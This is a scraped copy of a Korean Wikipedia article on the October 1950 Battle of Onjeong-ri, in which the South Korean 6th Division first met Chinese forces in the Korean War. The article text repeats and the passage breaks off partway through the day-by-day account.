제7사단 및 제8사단이 형성하고 있는 청천강 방어선의 종심깊이 침습을 감행하며 계속 남하를 기도하였고, 좌익 제1사단의 정면으로 침공한 중공군 제39군은 운산을 거쳐 영변과 개천으로 침략을 계속하였다. 이때의 중공군은 산악지대에서 준동하던 북한군의 패잔병과 합세하여 인해전법을 감행하며 수도 평양에 이르는 요충인 청천강 방어선을 돌파하기 위하여 광분하고 있었다. 각주[편집] ↑ 한국전쟁사 (국방부, 전쟁기념사업회) vdeh 한국 전쟁 대한민국 (대한민국 국군) 조선민주주의인민공화국 (조선인민군) 참전국 그리스 왕국 남아프리카 연방 네덜란드 뉴질랜드 미국 벨기에 & 룩셈부르크 소련 에티오피아 제국 영국 오스트레일리아 중화인민공화국 캐나다 콜롬비아 태국 터키 프랑스 필리핀 의료지원국 노르웨이 덴마크 스웨덴 이탈리아 인도 헝가리 대중문화 다큐멘터리 영화 영화 도서 재연 M*A*S*H 전투 서열 미국 제8군 제7함대 제5공군 유엔군 중국인민지원군 배경 한반도 분단 제2차 국공 내전 애치슨 선언 조중동맹조약 주요 전투 폭풍 작전 조선인민군의 서울 점령 한강 전투 오산 전투 대전 전투 부산 교두보 전투 인천 상륙 작전 서울 수복 평양 탈환 장진호 전투 흥남 철수 작전 1·4 후퇴 선더볼트 작전 중공군 춘계공세 피의 능선 전투 백마고지 전투 금성 전투 기타 여파 화학전 논란 탈영병 정전 MiG 골목길 블랙리스트 포티 글로리 기념 공원 전쟁 기념관 무기 원본 주소 "https://ko.wikipedia.org/w/index.php?title=온정리_전투&oldid=24351499" 분류: 1950년 남북 관계1950년 분쟁한국 전쟁의 전투대한민국의 전투중화인민공화국의 전투운산군1950년 한국1950년 10월 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 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온정리 전투 - 위키백과, 우리 모두의 백과사전 온정리 전투 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 온정리 전투한국전쟁의 일부1950년 10월 25일 ~ 11월 1일까지의 중공군 개입 지도날짜1950년 10월 24일 ~ 10월 30일장소평안북도 온정리 (지금의 운산군)결과 중공군의 승리교전국 대한민국 중화인민공화국지휘관 유재흥 제2군단장 소장 김종오 제6사단장 준장 함병선 제2연대장 대령 석순천 제1대대장 소령 이성훈 제2대대장 대리 대위 송대후 제3대대장 소령 임부택 제7연대장 대령 김용배 제1대대장 중령 김종수 제2대대장 중령 인성관 제3대대장 중령 박광혁 제19연대장 대령 김준교 제1대대장 소령 김욱전 제2대대장 중령 박철 제3대대장 소령 김성 포병 제16대대장 소령 펑더화이 한선초 온옥성 제40군장 등웨 제118사단장 서국부 제119사단장 나춘생 제120사단장병력 약 1만 명 약 4만 명 온정리 전투(溫井里戰鬪)는 한국 전쟁 중기 북한 동부전선에서 국군의 제일 선봉으로 진격하던 김종오 준장이 이끄는 제6사단이 한중 국경선까지 밀고 올라갔다가 비밀리에 압록강을 건넌 중공군에 패한 전투이자, 한국전쟁에서 대한민국 국군이 중공군과 첫번째로 치른 전투이다. 절대적인 수적 열세로 치열한 공방전을 펼쳤던 국군은 온정리를 방어하기 위해 치열한 접전을 펼쳤으나 수적 열세와 다른 전선의 상황으로 인하여 철수하지 않으면 안되는 상황에 처하게 되었다.[1] 온정리는 광복 당시 행정구역상으로는 운산군 위연면이었으며, 온정온천이 있었기 때문에 온정리로 불렸다. 북한 행정구역상으로 운산읍이 위치해 있다. 목차 1 배경 1.1 작전계획 2 전투 과정 2.1 10월 24일 2.2 10월 25일 2.3 10월 26일 2.4 10월 27일 2.5 10월 28일 2.6 10월 29일 2.7 10월 30일 3 결과 및 영향 4 각주 배경[편집] 중공군의 한국 전쟁 개입 문제가 국내외적으로 주시되고 있던 1950년 10월 미경에 유재흥 소장이 이끄는 제2군단 예하의 김종오 준장이 이끄는 제6사단은 최선봉에선 진격사단으로서 덕천-구장동 진격 전투에서 승리한 다음 더욱 박차를 가하여 일선연대로 하여금 한만국경에 까지 북진을 계속토록 하고 사단은 10월 24일 13:00에 희천에 이르렀다. 한편 지휘체제가 마비되고 재편성의 시간적 여유를 얻지 못한 전구내의 북한군은 패잔혼성부대(제1사단, 제6사단, 제42사단 등)로서 극도로 사기가 저하되고 대부분의 전투력이 상실되어 구명회생하기에 급급하였으며 특히 오백용 소장이 이끄는 북한군 제8사단의 잔여 혼성부대는 연대 규모로서 초산 전투에서 최후의 저항을 기도하였으나 김용배 중령이 이끄는 제7연대 1대대의 과감한 진격으로 궤멸 분산됨으로써 드디어 선봉연대인 임부택 대령이 이끄는 제7연대는 10월 26일 14시 15분에 감회어린 국경에 다다랐다. 그러나 비밀리에 압록강을 건넌 중공군이 동림산(1165고지) 일대에서 불의에 그 마각을 드러내고 사단의 전진축선 상에 나타남으로써 전선은 일조에 그 공방양상을 달리하게 되었다. 작전계획[편집] 제2군단 및 제6사단의 작전계획에 따라 10월 24일 온정리를 점령한 함병선 대령이 이끄는 제2연대는 북한군 잔당에 시간적 여유를 주지 않고 신속히 진격하여 압록강 남안의 벽동까지 진출할 계획으로 예하의 송대후 소령이 이끄는 제3대대를 기동대대로서 화력에 중점을 두어 선두에서 차량행군으로 조속히 진격토록 하고 석순천 소령이 이끄는 제1대대와 이성훈 대리 대위가 이끄는 제2대대는 도보로서 잔적을 격멸하면서 후속토록 하여 북진을 계속하려 하였다. 그러나 불의에 중공군과 장동 부근(온정 북방 8km)에서 접적하게 되어 치열한 교전을 전개한 끝에 병력의 상대적인 부족과 지형의 제약으로 인하여 할 수 없이 그 주력이 다시 온정리로 이동하게 되었을 때 제6사단장 김종오 준장은 요지 다음과 같은 명령을 하달하였다. 작전명령 『① 사단은 남림산 일대에 출몰한 적을 격멸한 다음 이미 계획된 임무를 수행하려 한다. ②제2연대는 온정리를 확보하여 방어에 임한 후 명에 따라 진격할 수 있도록 준비하라. ③제19연대는 현위치에서 부대를 신속히 이동하여 풍중리 양강동-501고지(YE 505 554)를 점령한 다음 계속 공격할 준비를 하라. 제6사단장 준장 김종오 이상과 같은 명령을 받은 제2연대는 온정리에서 계속 병력을 수습하여 방어에 임하였으며 제19연대는 급히 출동하여 명시된 지점으로 병력을 이동하고 북한군을 격멸코자 하였으나 각 대대는 계획된 작전에 성공하지 못한 채로 오히려 온정리를 북한군의 수중에 맡기게 되자 제2연대는 즉시 태평으로 이동하여 재편성 한 다음 반격을 가하려 하다가 군단의 청천강선 방어 계획에 따라 개천으로 이동하였으며 제19연대는 최후까지 온정리를 고수하려 하였으나 역시 군단의 계획에 따라 개천으로 이동하였다. 전투 과정[편집] 10월 24일[편집] 제6사단 2연대는 함병선 대령이 지휘하여 이날 08:00에 구장동을 출발하였는데 제1대대를 선두로 하여 제3대대-제2대대의 순으로 태평을 경유하여 온정리로 향하였다. 선두의 제1대대가 이날 18:00에 온정리부근에 다다랐을 때 그곳 동북방 6km 지점인 559고지 일대에서 북한군 2개 중대의 패잔병으로부터 사격을 받고 즉시 진격하여 이를 격퇴한 다음 19:40에 온정리로 돌입하여 자체경계를 하면서 숙영하였으며 제3대대는 이보다 먼저 19:00에 온정리에 돌입하여 북한군의 잔당을 격퇴하고 내무서를 급격한 끝에 각종 서류를 노획하였다. 이때 국군의 진출 상황을 알지 못한 북한군의 유선망을 도청함으로써 비로소 중공군 출현에 대한 첩보를 얻게 되었으며 대대는 곧 이를 보고하는 한편 온정리 후사면의 326고지 일대를 점령하고 경계에 임하였다. 10월 25일[편집] 제2연대는 전날 전 연대가 온정리에 집결하여 숙영을 하고, 이날 아침에 전열을 갖추어 출동준비를 한 다음, 이성훈 대위가 지휘하는 제2대대를 선두로 09:00에 온정리를 출발하여 우선 북진으로 향하도록 하였으며, 제1대대는 제2대대의 뒤를 이어 도보로서 11:00에 온정리를 출발하였고 제3대대는 야포 및 대전차포로 증강한 기동대대로서 차량화하여 11:00에 출발하게 되었다. 이리하여 12:00에는 기동성 있는 제3대대가 선두가 되어 온정리 북방 약 7km 지점인 장동 부근에 진출하였고 제 2대대는 그 뒤를 따라 490고지 하록인 중흥동에 다다랐으며 후미인 제1대대의 주력은 온정북방 약 3km 지점인 개활지대에 뻗쳐있는 도로를 통과하고 있었다. 이때에 중공군은 지형의 이점을 최대한으로 이용하여 미리 병력을 은밀히 배치하여 놓고 잠복대기토록 하다가 제2연대의 주력이 12:00에 이 지점을 통과하게 되자 일제히 화력을 집중하면서 포위 공격을 가하게 되었다. 즉 연대 정면의 사단 규모의 병력으로 추산되는 중공군은 동림산(1165고지)를 배후로 도로변의 대소능선 상에 그 주력을 매복시켰으며 온정과 북진 사이를 흐르는 구룡강을 건너 도리산(841고지) 일대의 주요 거점에 연대 규모의 병력을 매복시켰다가 좌우 동시에 기습전법을 감행하게 된 것이다. 이때 제6사단의 2연대장인 함병선 대령은 이 당면의 추로를 격멸하는 즉시로 계속 진출하기 위하여 각 대대로 하여금 정신감투토록 격려질타 하였으나, 시체의 언덕을 만들면서도 계속되는 중공군의 반복공격과 유리한 지형을 이용한 중공군의 사면포위로 전황은 시시각각으로 불리하여 지고 있었다. 이와 같이 모든 전황이 급변하게 되자 사단에서는 제2연대로 하여금 온정리에서 계속 진지를 고수토록 하고 예비대인 박광혁 대령이 이끄는 제19연대를 급거 부접토록 배치하였다. 10월 26일[편집] 제2연대의 1대대는 전날에 이어 온정리에서 철야로 고수방어에 임하고 있었으며 제3대대는 온정중학교에서 계속 병력을 집결하는 동시에, 일부 집결된 병력과 장비를 연대 직활대와 합동으로 온정리의 후사면에 있는 157고지로 이동시켜 사주방어에 임하였으나 중공군은 우세한 병력을 믿고 그들의 상투수단인 우회와 포위전법을 감행하기 위하여 이날 초경부터 구룡천을 잠도한 다음 온정 동남방 약 4km 지점인 535고지의 좌전방으로 이동시켜 온정리를 사면으로 포위하였다가 이날 04:00부터 일시에 함성과 총포성으로 기세당당하게 공격하기 시작하였다. 1:5의 열세와 우세의 정면대결로 피아간에 치열한 교전을 치룬 끝에 157고지의 국군 진지일각이 무너지게 되고 계속하여 온정중학교가 기습을 당하자 때마침 집결 중이던 제3대대가 이 광란 속에 휘말려 들어가 암흑 속에서 혼란상태를 이루게 되었으며 중공군의 후속병력은 이틈을 타서 사면으로 온정리를 침공하기 시작하였다. 이와 같은 상황 속에서도 제 1대대의 모든 장병들은 총검과 단도로서 육박전을 전개하며 끝까지 결사분투 하였으나 중과부적으로 일부병력이 분산상태에 빠지게 되자 부득이 적의 추격을 저지하면서 연대의 주력 제1대대 및 연대본부는 내평의 향교동 방면으로 철수하였으며 제3대대의 일부 병력은 희천 방면으로 이동하였다. 이와 동시에 490고지에서 철야 방어하고 있던 제2대대는 연대의 주력이 태평으로 이동함으로 말미암아 중공군의 포위에 고립되어 사면의 중공군으로부터 압박을 받아 위험한 상태에 놓이게 되자 05:00에 진지를 돌파분단하고 구룡천을 건너 운산 방면으로 철수하게 되었다. 10월 27일[편집] 제2연대는 태평으로 이동한 다음 제 1대대를 사주경계토록 하는 한편 전날 희천 방면으로 이동한 제3대대를 신속히 태평으로 집결토록 배치하였다. 연대장 함병선 대령의 명을 받은 제3대대는 희천에서 병력을 수습하는 즉시로 태평으로 하여 진격하다가 묘향산에서 노영을 하였으며, 제2대대는 서쪽으로 30여km 떨어진 운산부근의 용전리에 18:00에 도착하여 잔여 병력을 집결시키고 있었다. 한편 제19연대는 김준교 소령이 이끄는 제1대대를 양강동까지 진출시켜 제7연대의 배후로 침습하려는 중공군을 저지하였으며 김욱전 소령이 이끄는 제2대대는 07:00에 풍중리 일대를 점령하여 중공군의 후속부대를 억류견제 하였고 박철 소령이 이끄는 제3대대는 07:30에 접적한 중공군을 격파하고 501고지에 이르렀으나 19:00에는 1개 대대 규모의 중공군이 다시 침공하였으므로 치열한 교전 끝에 이를 진전에서 격퇴하고 계속 고수작전에 임하였다. 10월 28일[편집] 제2연대는 태평에서 계속하여 분산병력을 집결시키고 있었으며, 묘향산에서 06:00에 출발한 제3대대의 주력이 12:00에 태평에 도착하게 되자 제 1대대와 제 3대대의 재편성을 끝마치고 사주경계에 임하였으며 제2대대는 이날 13:00에 용문을 출발하여 원리를 향해 기동하고 있었다. 한편 제19연대는 온정리를 다시 탈환하기 위하여 제1대대를 양강동으로부터 동림산록의 용연동으로 진출시켜 제 2대대와 함께 협공할 준비를 갖추도록 하였으며, 제2대대는 계속 풍중리에서 방어에 임하고 있을 때 18:00에 내습한 약 1개 중대 규모의 중공군을 격퇴하고 제1대대와 함께 온정리로 진격할 준비를 갖추고 있었다. 이때 제3대대는 계속 501고지에서 중공군의 진출을 저지하고 있었으며 온정리를 확보한 중공군은 병력을 증강하여 희천을 침공할 기도 하에 동진을 재촉하며 이날 18:30에는 1개 대대 규모의 병력으로 상투적인 야간침습을 감행하여 왔다. 이때 제3대대는 화력을 집중하여 결전을 강요한 끝에 일단 이를 저지 격멸하는데 성공 하였으나 중공군은 계속 병력을 증강 투입하여 완강히 공격을 계속하는 한편 대대를 포위 하려고 전력을 집중하고 있었다. 10월 29일[편집] 제2연대는 전방의 제19연대 상황이 불리하여 전면적으로 위협을 받게 되자 재편성된 제1대대와 제3대대의 병력을 태평남방 3km 지점의 346고지 부근으로 이동하고 방어진을 형성하였으나 18:00에 사단으로부터 『구장동으로 집결하라』는 긴급명령을 받고 이동하기 시작 하였으며 제 2대대는 03:00에 원리에 도착하여 휴식을 한 다음 13:00에 개천으로 향하였다. 한편 제19연대는 제2대대가 02:00에 불의의 기습을 받아 혼란 상태에 빠지자 김준교 소령이 지휘하는 제1대대를 직동으로 급히 이동케 하여 중공군의 측후방으로부터 지원공격토록 하였다. 또 제1대대가 직동에 도착하여 06:00부터 공격을 시작하게 되자 동림산록의 405고지 일대에서 1개 대대 규모의 적이 완강히 저항하므로 제2중대를 정면에서 견제토록 하는 한편 제1중대로서 온정리로 통하는 도로 양측에 중공군을 추격한 다음 제 2대대를 지원하였으며 제3중대는 제4중대의 지원 하에 장동 뒷산의 중공군을 공격토록 하였으나 중공군은 완강히 저항할 뿐만 아니라 계속 증원하여 11:00에는 인해전술을 감행 하기에 이르렀다. 이로써 쌍방간에 치열한 혈전이 전개되었으나 중공군은 독전대의 총부리 앞에 몰려 주문을 읽으면서 광란하므로 제1대대 마저 드디어 분전상태에 빠지게 되었다. 10월 30일[편집] 이날 제2연대는 전연대가 개천에 도착하여 제1대대와 제2대대는 부대를 재정비 하였으며 제3대대는 군단명령에 따라 개천의 경비에 임하였다. 한편 제19연대는 제3대대가 온정리 일대에서 병력을 수습하여 사주경계를 실시하고 있다가 명에 의거 유상동을 경유하여 개천으로 이동하였고 제1대대 및 제2대대의 분산병력도 적진을 돌파하고 속속 개천에 도착되고 있었다. 결과 및 영향[편집] 10월 24일부터 10월 30일까지 7일간에 걸친 초산 및 온정리 부근에서 벌어진 전투로 제6사단은 약 4:1의 대병력과 불의에 대치하게 되어 선전감투를 하였으나 급작스럽게 침공한 중공군의 인해전술로 인하여 민족의 숙원인 통일을 목전에 두고 국경에서 물러서야 하는 쓰라림을 겪었고 특히 제7연대는 부연대장 최영수 중령, 제2대대장 김종수 중령, 제3대대장 조한섭 소령이 포로가 되었으며 중대장 12명 중 5명이 전사했다. 10월 25일 반격전을 개시한 중공군은 10월 26일 온정리를 탈환하고 제7연대가 초산 및 고장에서 물러서자 계속하여 501고지에서 제19연대 3대대의 방어진을 돌파하여 희천으로 향하는 동시에 그 주력은 병요지지 상의 요충인 청천강선으로 남진을 계속하였다. 즉 중공군 제40군의 주력은 온정리와 태평을 침공한 다음 우익 제8사단의 정면으로 침입한 중공군 제38군과 희천에서 합류하여, 국군의 제7사단 및 제8사단이 형성하고 있는 청천강 방어선의 종심깊이 침습을 감행하며 계속 남하를 기도하였고, 좌익 제1사단의 정면으로 침공한 중공군 제39군은 운산을 거쳐 영변과 개천으로 침략을 계속하였다. 이때의 중공군은 산악지대에서 준동하던 북한군의 패잔병과 합세하여 인해전법을 감행하며 수도 평양에 이르는 요충인 청천강 방어선을 돌파하기 위하여 광분하고 있었다. 각주[편집] ↑ 한국전쟁사 (국방부, 전쟁기념사업회) vdeh 한국 전쟁 대한민국 (대한민국 국군) 조선민주주의인민공화국 (조선인민군) 참전국 그리스 왕국 남아프리카 연방 네덜란드 뉴질랜드 미국 벨기에 & 룩셈부르크 소련 에티오피아 제국 영국 오스트레일리아 중화인민공화국 캐나다 콜롬비아 태국 터키 프랑스 필리핀 의료지원국 노르웨이 덴마크 스웨덴 이탈리아 인도 헝가리 대중문화 다큐멘터리 영화 영화 도서 재연 M*A*S*H 전투 서열 미국 제8군 제7함대 제5공군 유엔군 중국인민지원군 배경 한반도 분단 제2차 국공 내전 애치슨 선언 조중동맹조약 주요 전투 폭풍 작전 조선인민군의 서울 점령 한강 전투 오산 전투 대전 전투 부산 교두보 전투 인천 상륙 작전 서울 수복 평양 탈환 장진호 전투 흥남 철수 작전 1·4 후퇴 선더볼트 작전 중공군 춘계공세 피의 능선 전투 백마고지 전투 금성 전투 기타 여파 화학전 논란 탈영병 정전 MiG 골목길 블랙리스트 포티 글로리 기념 공원 전쟁 기념관 무기 원본 주소 "https://ko.wikipedia.org/w/index.php?title=온정리_전투&oldid=24351499" 분류: 1950년 남북 관계1950년 분쟁한국 전쟁의 전투대한민국의 전투중화인민공화국의 전투운산군1950년 한국1950년 10월 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 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온정리 전투 - 위키백과, 우리 모두의 백과사전 온정리 전투 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 온정리 전투한국전쟁의 일부1950년 10월 25일 ~ 11월 1일까지의 중공군 개입 지도날짜1950년 10월 24일 ~ 10월 30일장소평안북도 온정리 (지금의 운산군)결과 중공군의 승리교전국 대한민국 중화인민공화국지휘관 유재흥 제2군단장 소장 김종오 제6사단장 준장 함병선 제2연대장 대령 석순천 제1대대장 소령 이성훈 제2대대장 대리 대위 송대후 제3대대장 소령 임부택 제7연대장 대령 김용배 제1대대장 중령 김종수 제2대대장 중령 인성관 제3대대장 중령 박광혁 제19연대장 대령 김준교 제1대대장 소령 김욱전 제2대대장 중령 박철 제3대대장 소령 김성 포병 제16대대장 소령 펑더화이 한선초 온옥성 제40군장 등웨 제118사단장 서국부 제119사단장 나춘생 제120사단장병력 약 1만 명 약 4만 명 온정리 전투(溫井里戰鬪)는 한국 전쟁 중기 북한 동부전선에서 국군의 제일 선봉으로 진격하던 김종오 준장이 이끄는 제6사단이 한중 국경선까지 밀고 올라갔다가 비밀리에 압록강을 건넌 중공군에 패한 전투이자, 한국전쟁에서 대한민국 국군이 중공군과 첫번째로 치른 전투이다. 절대적인 수적 열세로 치열한 공방전을 펼쳤던 국군은 온정리를 방어하기 위해 치열한 접전을 펼쳤으나 수적 열세와 다른 전선의 상황으로 인하여 철수하지 않으면 안되는 상황에 처하게 되었다.[1] 온정리는 광복 당시 행정구역상으로는 운산군 위연면이었으며, 온정온천이 있었기 때문에 온정리로 불렸다. 북한 행정구역상으로 운산읍이 위치해 있다. 목차 1 배경 1.1 작전계획 2 전투 과정 2.1 10월 24일 2.2 10월 25일 2.3 10월 26일 2.4 10월 27일 2.5 10월 28일 2.6 10월 29일 2.7 10월 30일 3 결과 및 영향 4 각주 배경[편집] 중공군의 한국 전쟁 개입 문제가 국내외적으로 주시되고 있던 1950년 10월 미경에 유재흥 소장이 이끄는 제2군단 예하의 김종오 준장이 이끄는 제6사단은 최선봉에선 진격사단으로서 덕천-구장동 진격 전투에서 승리한 다음 더욱 박차를 가하여 일선연대로 하여금 한만국경에 까지 북진을 계속토록 하고 사단은 10월 24일 13:00에 희천에 이르렀다. 한편 지휘체제가 마비되고 재편성의 시간적 여유를 얻지 못한 전구내의 북한군은 패잔혼성부대(제1사단, 제6사단, 제42사단 등)로서 극도로 사기가 저하되고 대부분의 전투력이 상실되어 구명회생하기에 급급하였으며 특히 오백용 소장이 이끄는 북한군 제8사단의 잔여 혼성부대는 연대 규모로서 초산 전투에서 최후의 저항을 기도하였으나 김용배 중령이 이끄는 제7연대 1대대의 과감한 진격으로 궤멸 분산됨으로써 드디어 선봉연대인 임부택 대령이 이끄는 제7연대는 10월 26일 14시 15분에 감회어린 국경에 다다랐다. 그러나 비밀리에 압록강을 건넌 중공군이 동림산(1165고지) 일대에서 불의에 그 마각을 드러내고 사단의 전진축선 상에 나타남으로써 전선은 일조에 그 공방양상을 달리하게 되었다. 작전계획[편집] 제2군단 및 제6사단의 작전계획에 따라 10월 24일 온정리를 점령한 함병선 대령이 이끄는 제2연대는 북한군 잔당에 시간적 여유를 주지 않고 신속히 진격하여 압록강 남안의 벽동까지 진출할 계획으로 예하의 송대후 소령이 이끄는 제3대대를 기동대대로서 화력에 중점을 두어 선두에서 차량행군으로 조속히 진격토록 하고 석순천 소령이 이끄는 제1대대와 이성훈 대리 대위가 이끄는 제2대대는 도보로서 잔적을 격멸하면서 후속토록 하여 북진을 계속하려 하였다. 그러나 불의에 중공군과 장동 부근(온정 북방 8km)에서 접적하게 되어 치열한 교전을 전개한 끝에 병력의 상대적인 부족과 지형의 제약으로 인하여 할 수 없이 그 주력이 다시 온정리로 이동하게 되었을 때 제6사단장 김종오 준장은 요지 다음과 같은 명령을 하달하였다. 작전명령 『① 사단은 남림산 일대에 출몰한 적을 격멸한 다음 이미 계획된 임무를 수행하려 한다. ②제2연대는 온정리를 확보하여 방어에 임한 후 명에 따라 진격할 수 있도록 준비하라. ③제19연대는 현위치에서 부대를 신속히 이동하여 풍중리 양강동-501고지(YE 505 554)를 점령한 다음 계속 공격할 준비를 하라. 제6사단장 준장 김종오 이상과 같은 명령을 받은 제2연대는 온정리에서 계속 병력을 수습하여 방어에 임하였으며 제19연대는 급히 출동하여 명시된 지점으로 병력을 이동하고 북한군을 격멸코자 하였으나 각 대대는 계획된 작전에 성공하지 못한 채로 오히려 온정리를 북한군의 수중에 맡기게 되자 제2연대는 즉시 태평으로 이동하여 재편성 한 다음 반격을 가하려 하다가 군단의 청천강선 방어 계획에 따라 개천으로 이동하였으며 제19연대는 최후까지 온정리를 고수하려 하였으나 역시 군단의 계획에 따라 개천으로 이동하였다. 전투 과정[편집] 10월 24일[편집] 제6사단 2연대는 함병선 대령이 지휘하여 이날 08:00에 구장동을 출발하였는데 제1대대를 선두로 하여 제3대대-제2대대의 순으로 태평을 경유하여 온정리로 향하였다. 선두의 제1대대가 이날 18:00에 온정리부근에 다다랐을 때 그곳 동북방 6km 지점인 559고지 일대에서 북한군 2개 중대의 패잔병으로부터 사격을 받고 즉시 진격하여 이를 격퇴한 다음 19:40에 온정리로 돌입하여 자체경계를 하면서 숙영하였으며 제3대대는 이보다 먼저 19:00에 온정리에 돌입하여 북한군의 잔당을 격퇴하고 내무서를 급격한 끝에 각종 서류를 노획하였다. 이때 국군의 진출 상황을 알지 못한 북한군의 유선망을 도청함으로써 비로소 중공군 출현에 대한 첩보를 얻게 되었으며 대대는 곧 이를 보고하는 한편 온정리 후사면의 326고지 일대를 점령하고 경계에 임하였다. 10월 25일[편집] 제2연대는 전날 전 연대가 온정리에 집결하여 숙영을 하고, 이날 아침에 전열을 갖추어 출동준비를 한 다음, 이성훈 대위가 지휘하는 제2대대를 선두로 09:00에 온정리를 출발하여 우선 북진으로 향하도록 하였으며, 제1대대는 제2대대의 뒤를 이어 도보로서 11:00에 온정리를 출발하였고 제3대대는 야포 및 대전차포로 증강한 기동대대로서 차량화하여 11:00에 출발하게 되었다. 이리하여 12:00에는 기동성 있는 제3대대가 선두가 되어 온정리 북방 약 7km 지점인 장동 부근에 진출하였고 제 2대대는 그 뒤를 따라 490고지 하록인 중흥동에 다다랐으며 후미인 제1대대의 주력은 온정북방 약 3km 지점인 개활지대에 뻗쳐있는 도로를 통과하고 있었다. 이때에 중공군은 지형의 이점을 최대한으로 이용하여 미리 병력을 은밀히 배치하여 놓고 잠복대기토록 하다가 제2연대의 주력이 12:00에 이 지점을 통과하게 되자 일제히 화력을 집중하면서 포위 공격을 가하게 되었다. 즉 연대 정면의 사단 규모의 병력으로 추산되는 중공군은 동림산(1165고지)를 배후로 도로변의 대소능선 상에 그 주력을 매복시켰으며 온정과 북진 사이를 흐르는 구룡강을 건너 도리산(841고지) 일대의 주요 거점에 연대 규모의 병력을 매복시켰다가 좌우 동시에 기습전법을 감행하게 된 것이다. 이때 제6사단의 2연대장인 함병선 대령은 이 당면의 추로를 격멸하는 즉시로 계속 진출하기 위하여 각 대대로 하여금 정신감투토록 격려질타 하였으나, 시체의 언덕을 만들면서도 계속되는 중공군의 반복공격과 유리한 지형을 이용한 중공군의 사면포위로 전황은 시시각각으로 불리하여 지고 있었다. 이와 같이 모든 전황이 급변하게 되자 사단에서는 제2연대로 하여금 온정리에서 계속 진지를 고수토록 하고 예비대인 박광혁 대령이 이끄는 제19연대를 급거 부접토록 배치하였다. 10월 26일[편집] 제2연대의 1대대는 전날에 이어 온정리에서 철야로 고수방어에 임하고 있었으며 제3대대는 온정중학교에서 계속 병력을 집결하는 동시에, 일부 집결된 병력과 장비를 연대 직활대와 합동으로 온정리의 후사면에 있는 157고지로 이동시켜 사주방어에 임하였으나 중공군은 우세한 병력을 믿고 그들의 상투수단인 우회와 포위전법을 감행하기 위하여 이날 초경부터 구룡천을 잠도한 다음 온정 동남방 약 4km 지점인 535고지의 좌전방으로 이동시켜 온정리를 사면으로 포위하였다가 이날 04:00부터 일시에 함성과 총포성으로 기세당당하게 공격하기 시작하였다. 1:5의 열세와 우세의 정면대결로 피아간에 치열한 교전을 치룬 끝에 157고지의 국군 진지일각이 무너지게 되고 계속하여 온정중학교가 기습을 당하자 때마침 집결 중이던 제3대대가 이 광란 속에 휘말려 들어가 암흑 속에서 혼란상태를 이루게 되었으며 중공군의 후속병력은 이틈을 타서 사면으로 온정리를 침공하기 시작하였다. 이와 같은 상황 속에서도 제 1대대의 모든 장병들은 총검과 단도로서 육박전을 전개하며 끝까지 결사분투 하였으나 중과부적으로 일부병력이 분산상태에 빠지게 되자 부득이 적의 추격을 저지하면서 연대의 주력 제1대대 및 연대본부는 내평의 향교동 방면으로 철수하였으며 제3대대의 일부 병력은 희천 방면으로 이동하였다. 이와 동시에 490고지에서 철야 방어하고 있던 제2대대는 연대의 주력이 태평으로 이동함으로 말미암아 중공군의 포위에 고립되어 사면의 중공군으로부터 압박을 받아 위험한 상태에 놓이게 되자 05:00에 진지를 돌파분단하고 구룡천을 건너 운산 방면으로 철수하게 되었다. 10월 27일[편집] 제2연대는 태평으로 이동한 다음 제 1대대를 사주경계토록 하는 한편 전날 희천 방면으로 이동한 제3대대를 신속히 태평으로 집결토록 배치하였다. 연대장 함병선 대령의 명을 받은 제3대대는 희천에서 병력을 수습하는 즉시로 태평으로 하여 진격하다가 묘향산에서 노영을 하였으며, 제2대대는 서쪽으로 30여km 떨어진 운산부근의 용전리에 18:00에 도착하여 잔여 병력을 집결시키고 있었다. 한편 제19연대는 김준교 소령이 이끄는 제1대대를 양강동까지 진출시켜 제7연대의 배후로 침습하려는 중공군을 저지하였으며 김욱전 소령이 이끄는 제2대대는 07:00에 풍중리 일대를 점령하여 중공군의 후속부대를 억류견제 하였고 박철 소령이 이끄는 제3대대는 07:30에 접적한 중공군을 격파하고 501고지에 이르렀으나 19:00에는 1개 대대 규모의 중공군이 다시 침공하였으므로 치열한 교전 끝에 이를 진전에서 격퇴하고 계속 고수작전에 임하였다. 10월 28일[편집] 제2연대는 태평에서 계속하여 분산병력을 집결시키고 있었으며, 묘향산에서 06:00에 출발한 제3대대의 주력이 12:00에 태평에 도착하게 되자 제 1대대와 제 3대대의 재편성을 끝마치고 사주경계에 임하였으며 제2대대는 이날 13:00에 용문을 출발하여 원리를 향해 기동하고 있었다. 한편 제19연대는 온정리를 다시 탈환하기 위하여 제1대대를 양강동으로부터 동림산록의 용연동으로 진출시켜 제 2대대와 함께 협공할 준비를 갖추도록 하였으며, 제2대대는 계속 풍중리에서 방어에 임하고 있을 때 18:00에 내습한 약 1개 중대 규모의 중공군을 격퇴하고 제1대대와 함께 온정리로 진격할 준비를 갖추고 있었다. 이때 제3대대는 계속 501고지에서 중공군의 진출을 저지하고 있었으며 온정리를 확보한 중공군은 병력을 증강하여 희천을 침공할 기도 하에 동진을 재촉하며 이날 18:30에는 1개 대대 규모의 병력으로 상투적인 야간침습을 감행하여 왔다. 이때 제3대대는 화력을 집중하여 결전을 강요한 끝에 일단 이를 저지 격멸하는데 성공 하였으나 중공군은 계속 병력을 증강 투입하여 완강히 공격을 계속하는 한편 대대를 포위 하려고 전력을 집중하고 있었다. 10월 29일[편집] 제2연대는 전방의 제19연대 상황이 불리하여 전면적으로 위협을 받게 되자 재편성된 제1대대와 제3대대의 병력을 태평남방 3km 지점의 346고지 부근으로 이동하고 방어진을 형성하였으나 18:00에 사단으로부터 『구장동으로 집결하라』는 긴급명령을 받고 이동하기 시작 하였으며 제 2대대는 03:00에 원리에 도착하여 휴식을 한 다음 13:00에 개천으로 향하였다. 한편 제19연대는 제2대대가 02:00에 